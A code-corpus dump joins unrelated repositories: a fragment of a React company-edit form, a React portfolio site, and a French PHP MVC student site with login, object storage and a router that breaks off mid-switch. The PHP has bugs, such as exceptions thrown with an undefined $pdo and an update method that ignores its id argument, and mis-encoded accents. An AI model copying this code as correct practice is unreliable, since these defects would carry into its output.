value={this.state.phone} onChange={this.handleInputChange} placeholder="Phone" /> <input type="text" name="street_address" value={this.state.street_address} onChange={this.handleInputChange} placeholder="Address" /> <input type="text" name="city" value={this.state.city} onChange={this.handleInputChange} placeholder="City" /> <input type="text" name="state" value={this.state.state} onChange={this.handleInputChange} placeholder="State" /> </div> <div className="col"> <textarea type="text" name="description" value={this.state.description} onChange={this.handleInputChange} placeholder="Description" /> <input type="text" name="contact_name" value={this.state.contact_name} onChange={this.handleInputChange} placeholder="Contact Name" /> <input type="text" name="contact_phone" value={this.state.contact_phone} onChange={this.handleInputChange} placeholder="Contact Phone" /> </div> <div className="finance"> <input type="text" name="financial_earnings_year_1" value={this.state.financial_earnings_year_1} onChange={this.handleInputChange} placeholder="financial_earnings_year_1" /> <input type="text" name="financial_earnings_income_1" value={this.state.financial_earnings_income_1} onChange={this.handleInputChange} placeholder="financial_earnings_income_1" /> <input type="text" name="financial_earnings_year_2" value={this.state.financial_earnings_year_2} onChange={this.handleInputChange} placeholder="financial_earnings_year_2" /> <input type="text" name="financial_earnings_income_2" value={this.state.financial_earnings_income_2} onChange={this.handleInputChange} placeholder="financial_earnings_income_2" /> <input type="text" name="financial_earnings_year_3" value={this.state.financial_earnings_year_3} onChange={this.handleInputChange} placeholder="financial_earnings_year_3" /> <input type="text" name="financial_earnings_income_3" value={this.state.financial_earnings_income_3} onChange={this.handleInputChange} placeholder="financial_earnings_income_3" /> <input type="text" name="financial_earnings_year_4" value={this.state.financial_earnings_year_4} onChange={this.handleInputChange} placeholder="financial_earnings_year_4" /> <input type="text" name="financial_earnings_income_4" value={this.state.financial_earnings_income_4} onChange={this.handleInputChange} placeholder="financial_earnings_income_4" /> <input type="text" name="financial_revenue_expected" value={this.state.financial_revenue_expected} onChange={this.handleInputChange} placeholder="financial_revenue_expected" /> <input type="text" name="financial_revenue_total" value={this.state.financial_revenue_total} onChange={this.handleInputChange} placeholder="financial_revenue_total" /> </div> <button className="update-btn" onClick={this.handleFormSubmit}> Update Company </button> <button className="del-btn" onClick={this.deleteComp}> Delete Company </button> </div> </section> : <h1>Got nothin...</h1> ) } } export default Edit;
04f9f05156524d781f3d59bb293a7ec43938428f
[ "JavaScript", "SQL", "Markdown" ]
11
JavaScript
allenjwelch/company_tracker
2b6857f104d9f2ad31bba6d6a0d00765b90ed632
59575d2436af232baa53383cbfee9ee24320879d
refs/heads/main
<repo_name>sVanshika/portfolio<file_sep>/src/components/education.js import React from 'react'; import Profile from '../data'; const Education = () => { return( <div className="education d-flex justify-content-center"> <div className="educationContainer"> <h1 className="title">Education</h1> {Profile.education ? <div> {Profile.education.map((edu, index) => { return( <div key={index} className="educationBlock"> <h6><span>{edu.startingYear}</span>-<span>{edu.endingYear}</span></h6> <h3>{edu.degree}</h3> <h5>{edu.schoolName}</h5> {edu.description.map((des, i) => { return( <div key={i}> <p>{des}</p> </div> ) })} </div> ) })} </div> : ""} </div> </div> ) }; export default Education;<file_sep>/src/data.js const Profile = { "name":"<NAME>", "education":[ { "degree": "Bachelor's of Technology in Computer Science", "schoolName" : "JK Lakshmipat University", "startingYear": 2018, "endingYear": 2022, "description":[ "Current CGPA - 8.02" ] }, { "degree": "High School", "schoolName": "Children's Academy", "startingYear": 2006, "endingYear": 2018, "description":[ "XII - 91%", "X - 89%" ] } ], "projects":[ { "name": "The Culinary", "description": "The Culinary is a platform for all food lovers. The platform contains recipes of all Indian authenticate dishes and some international dishes which have made a place in people’s heart. The recipes are bifurcated on the website platform in the categories of Breakfast, Snacks, Main Course, Desserts, Cakes and Beverages.", "techStack":["ReactJS", "NodeJS", "MongoDB", "Express"], "githubLink": "https://github.com/sVanshika/The-Culinary", "hostedURL": "", "image": "images/culinary.jpeg" }, { "name": "Cricket Team Selection", "description": "A multi label classification problem for predicting team players in a cricket match. It is solved using Binary Relevance Problem Transformation technique, applied over Logistic Regression model.", "techStack":["Python", "Pandas", "SkLearn", "Numpy", "Scikit-Multilearn"], "githubLink": "https://github.com/sVanshika/Cricket-Team-Selection", "hostedURL": "", "image": "images/cricket.jpeg" }, { "name": "The StudyTools", "description": "A full stack website containing four tools helpful over internet - Clock, Screenshot Tool, Dictionary, Sticky Notes. Users can create their profile and access saved data through the user dashboard.", "techStack":["ReactJS", "NodeJS", "MongoDB", "Express"], "githubLink": "https://github.com/sVanshika/StudyTools", "hostedURL": "https://thestudytools.herokuapp.com/", "image": "images/studytools.jpeg" }, { "name": "Corporate Action PDF Analysis", "description": "This project aims at summarizing documents of corporate action release of a company. The methodology includes name entity recognition. It recognizes specific keywords or phrases called entities in the text and renders them as output.", "techStack":["Spacy NER", "Pandas", "Numpy", "Python"], "githubLink": "https://github.com/samyak-bhagat/Corporate-Action-PDF-Analysis", "hostedURL": "https://devpost.com/software/corporate-action-pdf-analysis?ref_content=user-portfolio&ref_feature=in_progress", "image": "images/corporateActionPDF.png" } ], "workExperience":{}, "skills":[""], "contact":{ "github":"", "linkedin":"" } }; export default Profile;<file_sep>/src/components/projects.js import React from 'react'; import Profile from '../data'; import { FaGithub, FaLink } from "react-icons/fa"; const Projects = () => { return( <div className="projectsContainer d-flex justify-content-center"> <div className="projects col-lg-8 col-xl-5"> <h1 className="title">Projects</h1> {Profile.projects ? <div> {Profile.projects.map((project, index) => { return( <div key={index} className="row project"> <div className="col-sm-6 projectImage"> <img src={project.image} alt={project.name}></img> </div> <div className="col-sm-6"> <div className="projectData"> <h3>{project.name}</h3> <p>{project.description}</p> <div> {project.techStack.map((tech, i) => { return( <li key={i}>{tech}</li> ) })} </div> <div> <li className="mr-2"><a href={project.githubLink}> <FaGithub className="githubIcon mr-2"/> </a></li> <li><a href={project.hostedURL}> <FaLink className="linkIcon"/> </a></li> </div> </div> </div> </div> ) })} </div> : ""} </div> </div> ) }; export default Projects;<file_sep>/src/App.js import './App.css'; //import {Route} from 'react-router-dom'; import Header from './components/header'; import About from './components/about'; import Education from './components/education'; import Experience from './components/experience'; import Projects from './components/projects'; import Contact from './components/contact'; import Skills from './components/skills'; import Resume from './components/resume'; const App = () => { return( <div> <Header></Header> {/* <Route exact path="/"><Home/></Route> <Route exact path="/about"><About/></Route> <Route exact path="/education"><Education/></Route> <Route exact path="/experience"><Experience/></Route> <Route exact path="/projects"><Projects/></Route> <Route exact path="/contact"><Contact/></Route> */} {/* <About /> */} <Education /> <Experience /> <Projects /> <Skills /> <Resume /> <Contact /> </div> ); }; export default App;
5837c047c4a4fb8d23a1c7c183f004f72fc0ad8d
[ "JavaScript" ]
4
JavaScript
sVanshika/portfolio
088ffaf572a73a15285b720408a9b4eebcb1d2e0
3f322b9b50bf363ed332bdf47669e07af76f83d2
refs/heads/main
<repo_name>schahinheidari/Technologie-Web-php-html-css-<file_sep>/src/modele/utilisateur/GestionAuthentification.php <?php // Classe permettant de g?rer la connexion et la d?connexion des utilisateurs class GestionAuthentification { private $utilisateurs; private $donnees; private $erreur; private $vue; // Constantes repr?sentant les r?f?rences des diff?rents champs du formulaire const LOGIN_REF = "login"; const PASSWORD_REF = "<PASSWORD>"; // Constantes repr?sentant la r?f?rence de l'utilisateur const UTILISATEUR_REF = "utilisateur"; // Constantes repr?sentant les r?f?rences de donn?es de l'utilisateur const PRENOM_REF = "prenom"; const NOM_REF = "nom"; const ADMIN_REF = "admin"; // Constructeur public function __construct (UtilisateurStorageDB $utilisateurs, $donnees, Vue $vue) { $this->utilisateurs = $utilisateurs; $this->donnees = $donnees; $this->erreur = array(self::LOGIN_REF => "", self::PASSWORD_REF => "", ); $this->vue = $vue; } // Accesseur d'erreur public function getErreur () { return $this->erreur; } // Accesseur de donnees public function getDonnees () { return $this->donnees; } // M?thode retournant le login contenu dans les donn?es (renvoie une chaine vide si aucun login) public function getLogin () { if ($this->donnees !== null and key_exists(self::LOGIN_REF, $this->donnees)) { return $this->donnees[self::LOGIN_REF]; } else { return ""; } } // M?thode retournant le password contenu dans les donn?es (renvoie une chaine vide si aucun password) public function getPassword () { if ($this->donnees !== null and key_exists(self::PASSWORD_REF, $this->donnees)) { return $this->donnees[self::PASSWORD_REF]; } else { return ""; } } // M?thode retournant le pr?nom de l'utilisateur connect? public function getPrenom () { if (key_exists(self::UTILISATEUR_REF, $_SESSION)) { return $_SESSION[self::UTILISATEUR_REF][self::PRENOM_REF]; } return ""; } // M?thode retournant le nom de l'utilisateur connect? public function getNom () { if (key_exists(self::UTILISATEUR_REF, $_SESSION)) { return $_SESSION[self::UTILISATEUR_REF][self::NOM_REF]; } return ""; } // M?thode indiquant si un utilisateur est connect? public static function estConnecte() { return key_exists(self::UTILISATEUR_REF, $_SESSION); } // M?thode indiquant si un utilisateur est connect? et si cet utilisateur est un administrateur public static function estAdmin() { if (self::estConnecte()) { return $_SESSION[self::UTILISATEUR_REF][self::ADMIN_REF] === true; } return false; } // M?thode indiquant si le login donn? correspond aux pr?requis public function loginValide () { $login = $this->donnees[self::LOGIN_REF]; // Le champ login ne doit pas ?tre vide if ($login == null) { $this->erreur[self::LOGIN_REF] = "Veuillez remplir le champ login"; return false; // Le champ login doit contenir un login pr?sent dans la base de donn?es } else if (! $this->utilisateurs->exist($login)) { $this->erreur[self::LOGIN_REF] .= "ce login est inconnu"; return false; } return true; } // M?thode indiquant si le password donn? correspond aux pr?requis public function passwordValide () { $password = $this->donnees[self::PASSWORD_REF]; // Le champ password ne doit pas ?tre vide if ($password == null) { $this->erreur[self::PASSWORD_REF] = "Veuillez remplir le champ password"; return false; } // Si le password entr? correspond au password contenu dans la base de donn?es on retourne true if ($this->utilisateurs->identificationUser($this->donnees[self::LOGIN_REF], $this->donnees[self::PASSWORD_REF])) { return true; // Sinon on cr?e une erreur et on renvoie false } else { $this->erreur[self::PASSWORD_REF] .= "Mot de passe erron?"; return false; } } // M?thode indiquant si le login et le password correspondent aux donn?es d'un utilisateur public function estValide () { // Si les clefs n'existent pas on retourne false if (! key_exists(self::PASSWORD_REF, $_POST) or ! key_exists(self::LOGIN_REF, $_POST)) { return false; } $login_valide = $this->loginValide(); $password_valide = $this->passwordValide(); return $login_valide and $password_valide; } // M?thode permettant de connecter l'utilisateur correspondant aux donn?es et affiche la page correspondante // S'il y a une erreur et que la connexion n'est pas possible on retourne false, sinon true public function connexion() { if (! $this->estValide($this->donnees)) { $_SESSION['connexionEnCours'] = $this->donnees; $this->vue->affichageConnexionEchouee(); return false; } else { $_SESSION[self::UTILISATEUR_REF] = $this->utilisateurs->readWithLogin($this->donnees[self::LOGIN_REF]); $this->vue->affichageConnexionReussie(); return true; } } // M?thode permettant de d?connecter un utilisateur public function deconnexion () { // On v?rifie qu'un utilisateur est bien connect? puis on le d?connecte et on met ? jour la page ? afficher if ($this->estConnecte()) { session_destroy(); session_start(); $this->vue->affichageDeconnexionReussie(); return true; } else { $this->vue->affichageDeconnexionEchouee(); return false; } } } ?> <file_sep>/src/vue/VueAdmin.php <?php set_include_path("./src"); require_once("Routeur.php"); require_once("modele/utilisateur/GestionAuthentification.php"); require_once("vue/VuePrive.php"); // Classe repr?sentant la vue du site pour les administrateurs class VueAdmin extends VuePrive { // Contructeur public function __construct (Routeur $routeur, $feedback) { parent::__construct($routeur, $feedback); } // M?thode permettant de cr?er la page finale public function render () { self::getMenu(); include("vue/squelettes/squelette.php"); } // Cr?ation de la page d'accueil public function creationAccueil (GestionAuthentification $authentification) { $this->titre = "Accueil"; $message = "Bienvenue " . $authentification->getPrenom() . " " . $authentification->getNom() . ", vous ?tes administrateur !"; } // M?thode permettant de cr?er la page d'inscription public function creationPageInscription (ConstructeurUtilisateur $constructeur) { $this->titre = "Inscription"; $message_erreur = $constructeur->getErreur(); $this->contenu .= "<form action='" . $this->routeur->getURLInscription() . "' method='POST'>"; $this->contenu .= "<label> Login : <input type='text' name='" . ConstructeurUtilisateur::LOGIN_REF . "' value='" . htmlspecialchars($constructeur->getLogin(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= "<label> Password : <input type='password' name='" . ConstructeurUtilisateur::PASSWORD_REF . "' value='" . htmlspecialchars($constructeur->getPassword(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= "<label> Pr?nom : <input type='text' name='" . ConstructeurUtilisateur::PRENOM_REF . "' value='" . htmlspecialchars($constructeur->getPrenom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= "<label> Nom : <input type='text' name='" . ConstructeurUtilisateur::NOM_REF . "' value='" . htmlspecialchars($constructeur->getNom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= "<Label> Administrateur : <input type='radio' name='" . ConstructeurUtilisateur::ADMIN_REF . "' value='" . $constructeur->getAdmin() . "'/> </label>"; $this->contenu .= "<button type='submit'>Inscription</button>"; $this->contenu .= "</form>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageConnexion() ."'> Annuler </a>"; include("vue/squelettes/squelette_formulaire.php"); } } ?> <file_sep>/README.md # Technologie-Web-php-html-css- The objective of the project is to create a site which implements the principles of web development seen throughout the Web Technologies module. I used the MVCR architecture, with in particular a good separation of business classes (the model), display (views), management of HTTP requests (router), management of actions (controllers), data validation (builders), and database storage details. Basic realization the basic functions detailed below. Without authentication, a user has access to: the list of all the objects (but not the detail). the account creation page. an about page that contains: group number, student numbers of group members list the points achieved (in particular the complements, see below). the distribution of tasks in the group. the main choices in terms of design, modeling, code, etc ... anything you think is useful to tell us. Authenticated users can: see the detail page of each object. add new objects. modify / delete the objects which belong to him (but not those of the others). <file_sep>/src/modele/objet/Objet.php <?php require_once("./src/modele/utilisateur/Utilisateur.php"); /** * */ class Objet { private $id; private $nom; private $date_Ajout; private $description; private $categorie; private $utilisateur; //l'id est optionnel car la bdd incremente toute seul, cependant on a besoin de l'id pour la suppression //donc quand on devra recuperer un objet on construira un Objet avec l'id de la base. public function __construct($nom, $date_Ajout, $description, $categorie, $utilisateur, $id = null) { $this->id = $id; $this->nom = $nom; $this->date_Ajout = $date_Ajout; $this->description = $description; $this->categorie = $categorie; $this->utilisateur = $utilisateur; } //Accesseur pour l'id public function getId(){ return $this->id; } //Accesseur pour le nom de l'objet public function getNom(){ return $this->nom; } //Accesseur pour la date d'ajout public function getDateAjout(){ return $this->date_Ajout; } //Accesseur pour la description de l'objet public function getDescription(){ return $this->description; } //Accesseur pour la categorie public function getCategorie(){ return $this->categorie; } //Accesseur pour l'utilisateur poss?dant cet objet //Un Objet poss?de un client public function getUtilisateur(){ return $this->utilisateur; } public function setNom($nom) { $this->nom = $nom; } public function setDescription($description) { $this->description = $description; } public function setCategorie($categorie) { $this->categorie = $categorie; } } ?> <file_sep>/src/modele/objet/ObjetStorageDB.php <?php require_once("./src/modele/utilisateur/Utilisateur.php"); require_once("./src/modele/objet/Objet.php"); /** */ class ObjetStorageDB { private $pdo; private $erreur; function __construct($pdo) { $this->pdo = $pdo; $this->erreur = null; } public function getErreur(){ return $this->erreur; } //M?thode pour savoir si l'objet est pr?sent dans la base ou non. //Si nous sommes dans une zone sensible et qu'on ne doit pas retourner de donn?es il est //pr?f?rable d'utiliser cette m?thode qui return que true ou false. public function exist($id){ $rq = "SELECT * FROM Objets WHERE id = :id"; $stmt = $this->pdo->prepare($rq); $data = array(":id" => $id); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } if($stmt->rowCount() > 0){ return true; } else { $this->erreur = "Objet inexistant"; return false; } } //M?thode pour recuperer tout les objets d'un client public function readFromClient( $user){ $rq = "SELECT * FROM Objets WHERE client = :client"; $stmt = $this->pdo->prepare($rq); $data = array(":client" => $user); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } return $result = $stmt->fetchAll(); } //M?thode pour r?cuprer un/des objet(s) en fct de la date et un utilisateur public function readObjectFromDateUser($date_Ajout , $user){ $rq = 'SELECT obj.* FROM Objets as obj, Clients as clt WHERE date_Ajout = :date_Ajout AND obj.client = :client AND obj.client = clt.login'; $stmt = $this->pdo->prepare($rq); $data = array(":date_Ajout" => $date_Ajout, ":client" => $user ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer un/des objet(s) en fct de la categorie public function readObjectFromCategorie($categorie){ $rq = 'SELECT * FROM Objets WHERE categorie = :categorie'; $stmt = $this->pdo->prepare($rq); $data = array(":categorie" => $categorie); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer un/des objet(s) en fct du nom public function readObjectFromNom($nom){ $rq = 'SELECT * FROM Objets WHERE nom = :nom'; $stmt = $this->pdo->prepare($rq); $data = array(":nom" => $nom); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer un/des objet(s) en fct du nom et d'un utilisateur public function readObjectFromNomUser($nom, $user){ $rq = 'SELECT * FROM Objets WHERE nom = :nom AND client = :userLogin'; $stmt = $this->pdo->prepare($rq); $data = array(":nom" => $nom, ":userLogin" => $user ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer un/des objet(s) en fct du nom, d'un utilisateur et d'une categorie public function readObjectFromNomUserCategorie($nom, $user, $categorie){ $rq = 'SELECT * FROM Objets WHERE nom = :nom AND client = :userLogin AND categorie = :categorie'; $stmt = $this->pdo->prepare($rq); $data = array(":nom" => $nom, ":userLogin" => $user, ":categorie" => $categorie ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer un/des objet(s) en fct du nom, d'un utilisateur, d'une categorie et d'une date public function readObjectFromNomUserCategorieDate($nom, $user, $categorie, $date){ $rq = 'SELECT * FROM Objets WHERE nom = :nom AND client = :userLogin AND categorie = :categorie AND date_Ajout = :date'; $stmt = $this->pdo->prepare($rq); $data = array(":nom" => $nom, ":userLogin" => $user, ":categorie" => $categorie, ":date" => $date ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer un/des objet(s) en fct de la categorie de l'utilisateur et de la date public function readObjectFromUserCategorieDate( $user, $categorie, $date){ $rq = 'SELECT obj.* FROM Objets as obj, Clients as clt WHERE categorie = :categorie AND obj.client = :client AND obj.date_Ajout = :date AND obj.client = clt.login'; $stmt = $this->pdo->prepare($rq); $data = array(":categorie" => $categorie, ":client" => $user, ":date" => $date ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour recuperer un/des objet(s) en fct de la categorie et du client public function readObjectFromUserCategorie( $user, $categorie){ $rq = 'SELECT obj.* FROM Objets as obj, Clients as clt WHERE categorie = :categorie AND obj.client = :client AND obj.client = clt.login'; $stmt = $this->pdo->prepare($rq); $data = array(":categorie" => $categorie, ":client" => $user ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetchAll(); return $result; } //M?thode pour r?cuperer tous les objets. public function readAll(){ $rq = "SELECT * FROM Objets"; $stmt = $this->pdo->prepare($rq); $data = array(); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } return $result = $stmt->fetchAll(); } public function createObjet(Objet $obj){ $rq = "INSERT INTO Objets (nom, date_Ajout, description, categorie, client) VALUES (:nom, :date, :description, :categorie, :client)"; $stmt = $this->pdo->prepare($rq); $data = array(":nom" => $obj->getNom(), ":date" => $obj->getDateAjout(), ":description" => $obj->getDescription(), ":categorie" => $obj->getCategorie(), ":client" => $obj->getUtilisateur(), ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } return $this->readLastAdded($obj->getUtilisateur()); } //M?thode pour retourner le dernier objet ajout? par un utilisateur. public function readLastAdded($user){ $rq = 'SELECT * FROM Objets as obj WHERE id=(SELECT max(id) FROM Objets as obj2 WHERE obj2.client = :userLogin)'; $stmt = $this->pdo->prepare($rq); $data = array(":userLogin" => $user); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } return $result = $stmt->fetch(); } //M?thode pour trouver un objet en fct de son ID public function readWithIDprivate($id, $user){ $rq = 'SELECT * FROM Objets WHERE id = :id AND client = :user'; $stmt = $this->pdo->prepare($rq); $data = array( ":id" => $id, ":user" => $user ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetch(); if($result){ $objet = new Objet ($result['nom'], $result['date_Ajout'], $result['description'], $result['categorie'], $result['client'], $result['id']); return $objet; } return null; } //M?thode pour trouver un objet en fct de son ID public function readWithID($id){ $rq = 'SELECT * FROM Objets WHERE id = :id'; $stmt = $this->pdo->prepare($rq); $data = array(":id" => $id); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetch(); if($result){ $objet = new Objet ($result['nom'], $result['date_Ajout'], $result['description'], $result['categorie'], $result['client'], $result['id']); return $objet; } return null; } //M?thode pour modifier un objet //Avant de modifier l'utilisateur aura choisi l'objet a modifier. public function modifObjet($id ,Objet $obj, $user){ $rq = 'UPDATE Objets SET nom = :nom, description = :description, categorie = :categorie WHERE id = :id AND client = :client'; $stmt = $this->pdo->prepare($rq); $data = array(":nom" => $obj->getNom(), ":description" => $obj->getDescription(), ":categorie" => $obj->getCategorie(), ":client" => $user, ":id" => $obj->getId() ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } else { return true; } } //M?thode pour supprimer un objet. //L'utilisateur aura choisi un objet ? supprimer ? l'avance public function deleteObjet($id, $user){ $rq = 'DELETE FROM Objets WHERE id = :id AND client = :user'; $stmt = $this->pdo->prepare($rq); $data = array( ":id" => $id, ":user" => $user ); $stmt->execute($data); if($stmt->rowCount() > 0){ return true; } else { return false; } } } ?><file_sep>/src/Routeur.php <?php set_include_path("./src"); require_once("controleur/Controleur.php"); require_once("controleur/GestionAuthentification.php"); require_once("vue/Vue.php"); require_once("vue/VueAdmin.php"); require_once("vue/VuePrive.php"); class Routeur { public static function creerURL ($chaine) { if (key_exists('PATH_INFO', $_SERVER)) { $chemin = explode('/', substr($_SERVER['PATH_INFO'], 1)); if (count($chemin) == 1) { return "./" . $chaine; } else if (count($chemin) == 2) { return "../" . $chaine; } } return "./index.php/" . $chaine; } // Fonction retournant l'URL de la page d'accueil public function getURLPageAccueil () { if (key_exists('PATH_INFO', $_SERVER)) { $chemin = explode('/', substr($_SERVER['PATH_INFO'], 1)); if (count($chemin) == 1) { return "../index.php"; } else if (count($chemin) == 2) { return "../"; } } return "."; } // Fonction retournant l'URL de la page de connexion public function getURLPageConnexion () { return Routeur::creerURL("connexion"); } // Fonction retournant l'URL de l'action "connexion" public function getURLConnexion () { return Routeur::creerURL("tentativeConnexion"); } // Fonction retournant l'URL de l'action "deconnexion" public function getURLDeconnexion () { return Routeur::creerURL("deconnexion"); } // Fonction retournant l'URL de la page d'inscription public function getURLPageInscription () { return Routeur::creerURL("inscription"); } // Fonction retournant l'URL de l'action "inscription" public function getURLInscription () { return Routeur::creerURL("tentativeInscription"); } // Fonction retournant l'URL de la page de modification des donn?es d'un utilisateur public function getURLPageModifUtilisateur () { return Routeur::creerURL("modifUtilisateur"); } // Fonction retournant l'URL de l'action "modifUtilisateur" public function getURLModifUtilisateur () { return Routeur::creerURL("tentativeModifUtilisateur"); } // Fonction retournant l'URL de la page de modification de l'utilisateur login par un administrateur public function getURLPageModifAdmin ($login) { return Routeur::creerURL("modifAdmin/" . $login); } // Fonction retournant l'URL de l'action "modifAdmin" public function getURLModifAdmin ($login) { return Routeur::creerURL("tentativeModifAdmin/" . $login); } // Fonction retournant l'URL de la page suppression d'un utilisateur public function getURLPageSuppressionCompte () { return Routeur::creerURL("suppressionCompte"); } // Fonction retournant l'URL de l'action "suppressionCompte" public function getURLSuppressionCompte () { return Routeur::creerURL("tentativeSuppressionCompte"); } // Fonction retournant l'URL de la page de la liste des utilisateurs public function getURLListeUtilisateurs () { return Routeur::creerURL("listeUtilisateurs"); } // Fonction retournant l'URL de la page de la cr?ation d'objet. public function getURLPageCreationObjet () { return Routeur::creerURL("creationObjet"); } // Fonction retourne l'URL de l'action "creerObjet" public function getURLCreationObjet() { return Routeur::creerURL("tentativeCreationObjet"); } // Fonction retournant l'url de la page de modification de l'objet public function getURLPageModififerObjet ($id) { return Routeur::creerURL("modifObjet/" . $id); } // Fonction retournant l'url pour la modification de l'objet public function getURLModifierObjet ($id) { return Routeur::creerURL("tentativeModifObjet/" . $id); } // Fonction retournant l'URL de la page de suppression de l'objet public function getURLPageSuppressionObjet ($id) { return Routeur::creerURL("suppressionObjet/" . $id); } // Fonction retournant l'URL pour supprimer un Objet public function getURLSuppressionObjet ($id) { return Routeur::creerURL("tentativeSuppressionObjet/" . $id); } // Fonction retournant l'URL de la page Galerie de l'utilisateur. public function getURLPageGalerie () { return Routeur::creerURL("galerie"); } // Fonction retournant l'URL de la page Galerie de l'utilisateur. public function getURLPageGaleriePerso () { return Routeur::creerURL("galeriePerso"); } // Fonction retournant l'URL de l'action "afficheObjet" public function getURLAfficheObjet () { return Routeur::creerURL("afficheObjet"); } // Fonction retournant l'URL de l'action recherche public function getURLRecherche() { return Routeur::creerURL("recherche"); } // Fonction retournant l'URL de l'action recherche perso public function getURLRecherchePerso() { return Routeur::creerURL("recherchePerso"); } // Fonction retournant l'URL de la page d'un objet. public function getURLPageObjet ($id){ return Routeur::creerURL("objet/" . $id); } // A supprimer dans la version finale public function getURLTest(){ return Routeur::creerURL("test"); } // Fonction de redirection public function POSTredirect($url, $feedback) { $_SESSION['feedback'] = $feedback; header("Location: " .htmlspecialchars_decode($url), true, 303); session_start(); die; } public static function main ($dbUser, $dbObject) { session_start(); if (! key_exists('feedback', $_SESSION)) { $_SESSION['feedback'] = ""; } /* $objetId = key_exists('objet', $_GET) ? $_GET['objet'] : null; $utilisateurId = key_exists('id', $_GET) ? $_GET['id'] : null; $action = key_exists('action', $_GET) ? $_GET['action'] : null; $page = key_exists('page', $_GET) ? $_GET['page'] : null; if($categorie === null && ($nom !== null && $date !== null)){ $action = "recherche"; } else if ($categorie !== null && ($nom !== null && $date !== null)){ $action = "recherche"; } if ($action === null && $page === null){ $action = ($objetId === null) ? "./index.php/accueil" : "./index.php/afficheObjet"; } */ // On cr?? la vue correspondante au statut de l'actuel utilisateur (administrateur, connect? ou visiteur) if (GestionAuthentification::estAdmin()) { $vue = new VueAdmin(new Routeur(), $_SESSION['feedback']); } else if (GestionAuthentification::estConnecte()) { //$constructeur_objet = new ConstructeurObjet(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin(), $_POST); $vue = new VuePrive(new Routeur(), $_SESSION['feedback']); } else { $vue = new Vue(new Routeur(), $_SESSION['feedback']); } unset($_SESSION['feedback']); $controleur = new Controleur($vue, $dbUser, $dbObject); $authentification = new GestionAuthentification($dbUser, $_POST, $vue); if (key_exists('PATH_INFO', $_SERVER)) { $chemin = explode('/', substr($_SERVER['PATH_INFO'], 1)); switch ($chemin[0]) { // Si la page ? visiter est la page de connexion case 'connexion' : $controleur->connexion(); break; // Si l'action ? effectuer est une connexion case 'tentativeConnexion' : $controleur->tentativeConnexion($_POST); break; // Si l'action ? effectuer est une d?connexion case 'deconnexion' : $controleur->deconnexionUtilisateur(); break; // Si la page ? visiter est la page d'inscription case 'inscription' : $controleur->inscription(); break; // Si l'action ? effectuer est une inscription case 'tentativeInscription' : $controleur->creationUtilisateur($_POST); break; // Si la page ? visiter est la page de modification d'un utilisateur case 'modifUtilisateur' : $controleur->demandeModifUtilisateur(); break; // Si l'action ? effectuer est une modification d'un utilisateur case 'tentativeModifUtilisateur' : $controleur->modifUtilisateur($_POST); break; // Si la page ? visiter est la page de suppression d'un utilisateur case 'suppressionCompte' : $controleur->demandeSuppUtilisateur(); break; // Si l'action ? effectuer est une suppression d'un utilisateur case 'tentativeSuppressionCompte' : $controleur->suppressionUtilisateur(); break; // Si la page ? v?rifier est la page de modification d'un utilisateur par un administrateur case 'modifAdmin' : if (key_exists(1, $chemin)) { $controleur->demandeModifAdmin($chemin[1]); } else { $controleur->listeUtilisateurs(); } break; // Si l'action ? effectuer est une modification d'une utilisateur par un administrateur case 'tentativeModifAdmin' : if (key_exists(1, $chemin)) { $controleur->modifAdmin($chemin[1], $_POST); } else { $controleur->listeUtilisateurs(); } break; // Si la page ? visiter est la liste des utilisateurs case 'listeUtilisateurs' : $controleur->listeUtilisateurs(); break; // Si la page ? visiter est la page de cr?ation d'un objet. case 'creationObjet' : $controleur->nouveauObjet(); break; // Si l'action ? effectuer est un ajout d'objet case 'tentativeCreationObjet' : $controleur->creationObjet($_POST); break; // Si la page ? visiter est la page de modification d'un objet case 'modifObjet' : if (key_exists(1, $chemin)) { $controleur->modifierObjet($chemin[1]); } else { $controleur->accueil(); } break; // Si l'action est de modifier un objet case 'tentativeModifObjet' : if (key_exists(1, $chemin)) { $controleur->confirmationModification($chemin[1], $_POST); } else { $controleur->accueil(); } break; // Si la page ? visiter est la page de suppression d'un objet case 'suppressionObjet' : if (key_exists(1, $chemin)) { $controleur->supprimerObjet($chemin[1]); } else { $controleur->accueil(); } break; // Si l'action est de supprimer un objet case 'tentativeSuppressionObjet' : if (key_exists(1, $chemin)) { $controleur->confirmationSuppression($chemin[1]); } else { $controleur->accueil(); } break; // Si l'action est d'afficher un objet d'un utilisateur case 'objet' : if (key_exists(1, $chemin)) { $controleur->afficheObjet($chemin[1]); } else { $controleur->accueil(); } break; // Si la page ? visiter est la galerie des objets case 